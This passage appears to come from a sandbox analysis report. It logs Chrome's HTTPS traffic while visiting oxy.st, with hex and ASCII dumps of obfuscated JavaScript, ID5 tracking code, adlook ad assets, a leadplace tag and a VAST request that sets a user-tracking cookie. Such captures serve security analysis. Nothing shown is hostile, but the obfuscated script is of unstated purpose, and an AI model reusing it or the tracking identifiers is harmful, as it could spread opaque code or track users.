r=a2_0x41b0;try{u(i[r("0x3b")](n))}catch(n){a(n)}}function u(n){var r=a2_0x41b0;n[r("0xbe")]?x(n[r("0x77")]):t(n[r("0x77")])[r("0x5e")](c,o)}u((i=i[e("0xab")](n,r\|\|[]))[e("0x8e")]())}))},c=this&&this[t("0x18")]\|\|f
2024-06-15 09:14:56 UTC	16384	IN	Data Raw: 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 78 28 22 30 78 32 22 29 26 26 28 75 5b 53 79 6d 62 6f 6c 5b 22 69 74 65 72 61 74 6f 72 22 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 75 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 76 28 5b 6e 2c 72 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 69 29 7b 76 61 72 20 74 3d 78 3b 69 66 28 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 28 22 30 78 35 31 22 29 29 3b 77 68 69 6c 65 28 75 26 26 28 75 3d 30 2c 69 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 29 74 72 79 7b 69 66 28 65 3d 31 2c 63 26 26 28 6f 3d 69 5b 30 5d 26 32 3f 63 5b 74 28 22 30 78 64 39 22 29 5d 3a 69 5b 30 5d 3f 63 5b 74 28 Data Ascii: of Symbol===x("0x2")&&(u[Symbol["iterator"]]=function(){return this}),u;function s(n){return function(r){return v([n,r])}}function v(i){var t=x;if(e)throw new TypeError(t("0x51"));while(u&&(u=0,i[0]&&(a=0)),a)try{if(e=1,c&&(o=i[0]&2?c[t("0xd9")]:i[0]?c[t(
2024-06-15 09:14:56 UTC	4717	IN	Data Raw: 70 74 22 5d 3d 6c 2c 79 5b 22 64 65 22 5d 3d 64 2c 79 5b 22 66 72 22 5d 3d 68 2c 79 5b 22 69 74 22 5d 3d 43 2c 79 5b 22 69 64 22 5d 3d 47 2c 79 5b 22 74 68 22 5d 3d 67 3b 76 61 72 20 7a 3d 79 7d 2c 72 5b 6e 28 22 30 78 62 62 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 78 29 7b 76 61 72 20 69 3d 6e 3b 78 5b 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 5d 3d 21 21 5b 5d 2c 78 5b 22 73 6c 65 65 70 22 5d 3d 78 5b 69 28 22 30 78 39 35 22 29 5d 3d 78 5b 69 28 22 30 78 64 61 22 29 5d 3d 78 5b 22 69 73 53 61 66 61 72 69 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 6e 3d 69 3b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 26 26 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 5b 22 69 6e 64 Data Ascii: pt"]=l,y["de"]=d,y["fr"]=h,y["it"]=C,y["id"]=G,y["th"]=g;var z=y},r[n("0xbb")]=function(r,x){var i=n;x["__esModule"]=!![],x["sleep"]=x[i("0x95")]=x[i("0xda")]=x["isSafari"]=void 0;function t(){var n=i;return navigator[n("0xe8")]&&navigator[n("0xe8")]["ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49761	104.22.53.86	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	524	OUT	GET /api/1.0/id5-api.js HTTP/1.1 Host: cdn.id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	622	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: text/javascript;charset=utf-8 Content-Length: 95692 Connection: close x-amz-id-2: ugrHyhIo2nybYY9bnz4etmoyzh1YYsDLxOHvY7cwMpTD8U/9IrP7q2k3Po1MQ1RBc7FTJ/Sdlga28p/aji79iQ== x-amz-request-id: 7ZCH0ATMGAWXQWZC Last-Modified: Thu, 13 Jun 2024 12:35:05 GMT ETag: "37efcc7cc1c5ef52a27433bfc0e65e5e" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 CF-Cache-Status: HIT Age: 1686 Accept-Ranges: bytes Strict-Transport-Security: max-age=15552000; includeSubDomains; preload Server: cloudflare CF-RAY: 894173e49c700bb8-DFW
2024-06-15 09:14:56 UTC	747	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 69 64 35 69 6f 2f 69 64 35 2d 61 70 69 2e 6a 73 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 76 31 2e 30 2e 36 36 0a 20 2a 20 40 6c 69 6e 6b 20 68 74 74 70 73 3a 2f 2f 69 64 35 2e 69 6f 2f 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 41 70 61 63 68 65 2d 32 2e 30 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 76 61 72 20 69 2c 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 74 29 2c 65 26 26 28 69 3d 69 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f Data Ascii: /** * @id5io/id5-api.js * @version v1.0.66 * @link https://id5.io/ * @license Apache-2.0 */!function(){"use strict";function r(t,e){var i,r=Object.keys(t);return Object.getOwnPropertySymbols&&(i=Object.getOwnPropertySymbols(t),e&&(i=i.filter(functio
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 69 28 65 29 7d 61 2e 64 6f 6e 65 3f 74 28 63 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 63 29 2e 74 68 65 6e 28 72 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 72 3d 61 2e 61 70 70 6c 79 28 65 2c 6f 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 63 28 72 2c 74 2c 69 2c 73 2c 6e 2c 22 6e 65 78 74 22 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 63 28 72 2c 74 2c 69 2c 73 2c 6e 2c 22 74 68 72 6f 77 22 2c 65 29 7d 73 28 76 6f 69 64 20 30 29 7d 29 7d 7d Data Ascii: (e){return void i(e)}a.done?t(c):Promise.resolve(c).then(r,s)}function s(a){return function(){var e=this,o=arguments;return new Promise(function(t,i){var r=a.apply(e,o);function s(e){c(r,t,i,s,n,"next",e)}function n(e){c(r,t,i,s,n,"throw",e)}s(void 0)})}}
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 3d 6e 75 6c 6c 3d 3d 65 3f 6e 75 6c 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 75 6c 6c 21 3d 69 29 7b 76 61 72 20 72 2c 73 2c 6e 2c 6f 2c 61 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 3b 74 72 79 7b 69 66 28 6e 3d 28 69 3d 69 2e 63 61 6c 6c 28 65 29 29 2e 6e 65 78 74 2c 30 3d 3d 3d 74 29 7b 69 66 28 4f 62 6a 65 63 74 28 69 29 21 3d 3d 69 29 72 65 74 75 72 6e 3b 63 3d 21 31 7d 65 6c 73 65 20 66 6f 72 28 3b 21 28 63 3d 28 72 3d 6e 2e 63 61 6c 6c 28 69 29 29 2e 64 6f 6e 65 29 26 26 28 61 2e 70 75 73 68 28 72 2e 76 61 6c 75 65 29 2c 61 2e 6c 65 6e 67 74 68 21 Data Ascii: on(e,t){var i=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(null!=i){var r,s,n,o,a=[],c=!0,l=!1;try{if(n=(i=i.call(e)).next,0===t){if(Object(i)!==i)return;c=!1}else for(;!(c=(r=n.call(i)).done)&&(a.push(r.value),a.length!
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 20 6f 62 6a 65 63 74 73 20 6d 75 73 74 20 68 61 76 65 20 61 20 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 76 61 72 20 73 2c 6e 3d 21 30 2c 6f 3d 21 31 3b 72 65 74 75 72 6e 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 69 2e 63 61 6c 6c 28 65 29 7d 2c 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 69 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6e 3d 65 2e 64 6f 6e 65 2c 65 7d 2c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 21 30 2c 73 3d 65 7d 2c 66 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 6e 7c 7c 6e 75 6c 6c 3d 3d 69 2e 72 65 74 75 72 6e 7c 7c 69 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 6f 29 74 68 72 6f 77 20 73 7d 7d 7d 7d 63 6c 61 73 73 20 65 7b 64 65 62 75 67 Data Ascii: objects must have a [Symbol.iterator]() method.")}var s,n=!0,o=!1;return{s:function(){i=i.call(e)},n:function(){var e=i.next();return n=e.done,e},e:function(e){o=!0,s=e},f:function(){try{n\|\|null==i.return\|\|i.return()}finally{if(o)throw s}}}}class e{debug
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 65 61 74 65 42 72 6f 61 64 63 61 73 74 4d 65 73 73 61 67 65 28 65 29 7b 76 61 72 20 74 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6e 65 77 20 76 28 44 61 74 65 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 5f 73 65 6e 64 65 72 49 64 2c 5f 2c 2b 2b 74 68 69 73 2e 5f 6d 65 73 73 61 67 65 53 65 71 4e 62 2c 65 2c 74 7c 7c 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 29 7d 63 72 65 61 74 65 52 65 73 70 6f 6e 73 65 28 65 2c 74 29 7b 76 61 72 20 69 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eateBroadcastMessage(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:e.constructor.name;return new v(Date.now(),this._senderId,_,++this._messageSeqNb,e,t\|\|e.constructor.name)}createResponse(e,t){var i=2<arguments.length&&void 0!==arguments
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 69 73 7d 5f 68 61 6e 64 6c 65 28 74 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 5f 74 61 72 67 65 74 73 5b 74 2e 74 61 72 67 65 74 5d 3b 69 66 28 65 29 74 72 79 7b 65 5b 74 2e 6d 65 74 68 6f 64 4e 61 6d 65 5d 28 2e 2e 2e 74 2e 6d 65 74 68 6f 64 41 72 67 75 6d 65 6e 74 73 29 7d 63 61 74 63 68 28 65 29 7b 74 68 69 73 2e 5f 6c 6f 67 2e 65 72 72 6f 72 28 22 45 72 72 6f 72 20 77 68 69 6c 65 20 68 61 6e 64 6c 69 6e 67 20 6d 65 74 68 6f 64 20 63 61 6c 6c 20 22 2c 74 2c 65 29 7d 7d 7d 63 6c 61 73 73 20 43 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 29 7b 76 61 72 20 69 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 67 3b 6c 28 74 68 69 73 Data Ascii: is}_handle(t){const e=this._targets[t.target];if(e)try{e[t.methodName](...t.methodArguments)}catch(e){this._log.error("Error while handling method call ",t,e)}}}class C{constructor(e,t){var i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:g;l(this
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 61 73 74 4d 65 73 73 61 67 65 28 65 2c 74 29 29 7d 73 65 6e 64 52 65 73 70 6f 6e 73 65 4d 65 73 73 61 67 65 28 65 2c 74 29 7b 76 61 72 20 69 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3b 74 68 69 73 2e 5f 6c 6f 67 2e 64 65 62 75 67 28 22 53 65 6e 64 69 6e 67 20 72 65 73 70 6f 6e 73 65 20 6d 65 73 73 61 67 65 22 2c 65 2c 69 2c 74 29 2c 74 68 69 73 2e 5f 70 6f 73 74 4d 65 73 73 61 67 65 28 74 68 69 73 2e 5f 6d 65 73 73 61 67 65 46 61 63 74 6f 72 79 2e 63 72 65 61 74 65 52 65 73 70 6f 6e 73 65 28 65 2c 74 2c 69 29 29 7d 75 6e 69 63 61 73 74 4d 65 73 73 61 67 65 28 65 2c 74 29 7b 76 Data Ascii: astMessage(e,t))}sendResponseMessage(e,t){var i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:t.constructor.name;this._log.debug("Sending response message",e,i,t),this._postMessage(this._messageFactory.createResponse(e,t,i))}unicastMessage(e,t){v
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 20 50 28 65 29 7b 72 65 74 75 72 6e 20 54 28 65 2c 45 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 20 54 28 65 2c 44 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 54 28 65 2c 62 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 20 54 28 65 2c 22 4e 75 6d 62 65 72 22 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 20 54 28 65 2c 22 4f 62 6a 65 63 74 22 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 69 29 7b 69 66 28 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 31 3b 69 66 28 52 28 65 29 7c 7c 4f 28 65 29 29 72 65 74 75 72 6e 21 28 30 3c 65 Data Ascii: ction P(e){return T(e,E)}function O(e){return T(e,D)}function R(e){return T(e,b)}function L(e){return T(e,"Number")}function x(e){return T(e,"Object")}function U(e){return void 0!==e}function N(t,i){if(!function(e){if(!e)return 1;if(R(e)\|\|O(e))return!(0<e
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 61 74 28 69 5b 74 5d 29 29 2e 6a 6f 69 6e 28 22 26 22 29 29 29 3a 22 22 29 2b 28 65 2e 68 61 73 68 3f 22 23 22 2e 63 6f 6e 63 61 74 28 65 2e 68 61 73 68 29 3a 22 22 29 3b 76 61 72 20 69 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 69 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 69 66 28 50 28 4d 61 74 68 2e 69 6d 75 6c 29 29 72 65 74 75 72 6e 20 4d 61 74 68 2e 69 6d 75 6c 28 65 2c 74 29 3b 76 61 72 20 69 3d 28 34 31 39 34 33 30 33 26 65 29 2a 28 74 7c 3d 30 29 3b 72 65 74 75 72 6e 20 34 32 39 30 37 37 32 39 39 32 26 65 26 26 28 69 2b 3d 28 34 32 39 30 37 37 32 39 39 32 26 65 29 2a 74 7c 30 29 2c 30 7c 69 7d 65 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 65 3f 65 3a 30 3b 6c 65 74 20 73 3d 33 37 33 35 39 Data Ascii: at(i[t])).join("&"))):"")+(e.hash?"#".concat(e.hash):"");var i}function M(i,e){function r(e,t){if(P(Math.imul))return Math.imul(e,t);var i=(4194303&e)(t\|=0);return 4290772992&e&&(i+=(4290772992&e)t\|0),0\|i}e=1<arguments.length&&void 0!==e?e:0;let s=37359
2024-06-15 09:14:56 UTC	1369	IN	Data Raw: 73 65 43 6f 6e 73 65 6e 74 3a 21 21 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 36 29 7c 7c 21 28 21 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 30 29 26 26 21 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 2d 31 29 26 26 30 21 3d 3d 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 6c 65 6e 67 74 68 29 26 26 28 76 6f 69 64 20 30 3d 3d 3d 74 68 69 73 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 50 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 7c 7c 74 68 69 73 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 50 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 29 7d 7d 63 6c 61 73 73 20 48 7b 63 6f 6e 73 74 Data Ascii: seConsent:!!this.applicableSections.includes(6)\|\|!(!this.applicableSections.includes(0)&&!this.applicableSections.includes(-1)&&0!==this.applicableSections.length)&&(void 0===this.localStoragePurposeConsent\|\|this.localStoragePurposeConsent)}}class H{const

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49752	193.17.93.93	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	532	OUT	GET /css/rlf.css?1.6 HTTP/1.1 Host: cdn.adlook.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	288	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: text/css Content-Length: 3927 Connection: close Last-Modified: Wed, 07 Feb 2024 10:22:24 GMT ETag: "3880d28aaf59da1:0" X-Powered-By: ASP.NET Cache: MISS X-Node: m9p-up-gc87 Accept-Ranges: bytes
2024-06-15 09:14:56 UTC	3808	IN	Data Raw: 2e 76 64 66 2d 62 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 36 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 76 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 61 64 6c 6b 2d 62 74 6e 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 61 64 6c 6b 2d 72 6f 75 6e 64 65 64 2c 2e 76 64 66 2d 72 6f 75 6e 64 65 64 7b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 Data Ascii: .vdf-bg{position:absolute;padding:4px 6px;font-family:arial,verdana,sans-serif;font-size:12px;background-color:rgba(0,0,0,.5);color:#fff}.adlk-btn{cursor:pointer}.adlk-rounded,.vdf-rounded{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px
2024-06-15 09:14:56 UTC	119	IN	Data Raw: 2e 72 6c 66 2d 73 6c 6f 74 2e 72 6c 66 2d 66 6c 6f 61 74 2e 61 64 6c 6b 2d 6e 6f 2d 66 65 61 74 20 2e 61 64 6c 6b 2d 6d 65 6e 75 2e 61 64 6c 6b 2d 65 78 70 61 6e 64 65 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 34 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 34 70 78 7d Data Ascii: .rlf-slot.rlf-float.adlk-no-feat .adlk-menu.adlk-expanded{border-bottom-left-radius:4px;border-bottom-right-radius:4px}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49753	193.17.93.93	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	676	OUT	GET /u/cds.html HTTP/1.1 Host: cdn.adlook.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: text/html Content-Length: 1439 Connection: close Last-Modified: Thu, 06 Aug 2020 17:06:57 GMT ETag: "207a2dfe136cd61:0" X-Powered-By: ASP.NET Cache: HIT X-Cached-Since: 2024-06-15T09:06:53+00:00 X-Node: m9-up-gc234 Accept-Ranges: bytes
2024-06-15 09:14:56 UTC	1439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 6f 73 74 28 77 2c 20 64 29 20 7b 20 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 64 2c 20 27 2a 27 29 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 63 65 69 76 65 28 77 2c 20 66 29 20 7b 20 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 65 73 73 61 67 65 27 2c 20 66 2c 20 66 61 6c 73 65 29 3b 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 74 64 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><body> <script> function post(w, d) { w.postMessage(d, '*'); } function receive(w, f) { w.addEventListener('message', f, false); } function td() {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49763	145.239.192.166	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	741	OUT	GET /wckr.php?ref=https%3A%2F%2Foxy.st%2Fd%2FSmUh&id=MTIZ HTTP/1.1 Host: tag.leadplace.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	260	IN	HTTP/1.1 200 OK server: nginx/1.20.1 date: Sat, 15 Jun 2024 09:14:56 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked x-iplb-request-id: ADFEFA5A:A30D_91EFC0A6:01BB_666D5B90_6410AC42:10B0 x-iplb-instance: 54208 connection: close
2024-06-15 09:14:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49755	46.243.182.89	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	634	OUT	GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Foxy.st%2Fd%2FSmUh&top=&pt=inread&_ts=1718442894727 HTTP/1.1 Host: ads.adlook.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	382	IN	HTTP/1.1 200 OK Content-Type: application/json Server: Microsoft-IIS/10.0 Set-Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7; expires=Sat, 14 Jun 2025 21:00:00 GMT; path=/; SameSite=None; secure; samesite=none Access-Control-Allow-Origin: https://oxy.st Access-Control-Allow-Credentials: true Date: Sat, 15 Jun 2024 09:14:56 GMT Connection: close Content-Length: 2
2024-06-15 09:14:56 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
